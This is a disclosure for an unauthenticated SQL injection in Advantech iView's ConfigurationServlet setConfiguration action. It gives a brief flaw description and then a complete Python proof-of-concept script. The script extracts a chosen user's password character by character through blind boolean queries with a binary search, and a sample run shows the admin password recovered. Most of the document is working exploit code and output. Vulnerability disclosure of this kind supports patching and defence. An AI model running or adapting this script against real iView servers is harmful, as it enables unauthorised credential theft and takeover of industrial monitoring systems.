Advantech iView ConfigurationServlet setConfiguration SQL Injection

An SQL injection vulnerability in Advantech iView 5.7.04.6469. 

The specific flaw exists within the ConfigurationServlet endpoint, which listens on TCP port 8080 by default. An unauthenticated remote attacker can craft a special column_value parameter in the setConfiguration action to bypass checks in com.imc.iview.utils.CUtils.checkSQLInjection() to perform SQL injection. For example, the attacker can exploit the vulnerability to retrieve the iView admin password.

Proof of Concept Script:

import sys, argparse, requests


descr = 'Advantech iView setConfiguration SQL Injection (User Password Retrieval)'

parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='Target host/IP')
parser.add_argument('-p', '--port', type=int, default=8080, help='Advantech iView port, default: %(default)s')
parser.add_argument('-u', '--user', default='admin', help='Advantech iView user whose password to retrieve, default: %(default)s')

args = parser.parse_args()
host = args.target
port = args.port
user = args.user

url = 'http://{}:{}/iView3/ConfigurationServlet'.format(host, port)

def get_passwd_len():

  for i in range(3, 61):
    sqli = "(SELECT IF(LENGTH((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName = '" + user + "')) = " + str(i) + ",0,99999999999999999))"

    data = {
      'page_action_type'  : 'setConfiguration',
      'column_name'       : 'nUseCustomDescription', 
      'column_value'      : sqli 
    }
    
    r = requests.post(url, data=data)
    if 'Configuration Update Success' in r.text:
      return i

  return -1 
  

def test(pos, op, v):
    sqli = "(SELECT IF(ASCII(SUBSTRING((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName = '" + user + "'), " + str(pos) + ", 1)) " + op + " " + str(v) + ",0,99999999999999999))"

    data = {
      'page_action_type'  : 'setConfiguration',
      'column_name'       : 'nUseCustomDescription', 
      'column_value'      : sqli 
    }
      
    r = requests.post(url, data=data)
    #print(sqli)
    #print(r.text)
    if 'Configuration Update Success' in r.text:
      return True
    else:
      return False
 

def bsearch(pos, low, high):

  #print('{} - {}'.format(low, high))
  if high >= low:
    mid = (high + low) // 2
    
    if test(pos, '=', mid):
      return chr(mid)
    elif test(pos, '>', mid):
      return bsearch(pos, mid + 1, high)
    else:
      return bsearch(pos, low, mid - 1)
         
  else: 
    return None 
 

print('Getting password length for user "{}"...'.format(user)) 
pw_len = get_passwd_len()

if pw_len >= 3:
  print('Password length for user "{}" is {}'.format(user, pw_len)) 
else:
  sys.exit('Failed to get password length for user "{}"'.format(user)) 

print('Getting password for user "{}"...'.format(user)) 
print('Password for user "{}" is '.format(user), end='') 
for pos in range(1, pw_len + 1):   
  ch = bsearch(pos, 32, 127) 
  if ch != None:
    print(ch, end='') 
  else:
    print('Failed to get character at position {} of the password'.format(pos))

print() 

Proof of Concept Execution:

# python3 advantech_iview_setConfiguration_sqli.py -t <target-host> -p 8080 -u 'admin'
Getting password length for user "admin"...
Password length for user "admin" is 12
Getting password for user "admin"...
Password for user "admin" is Password123!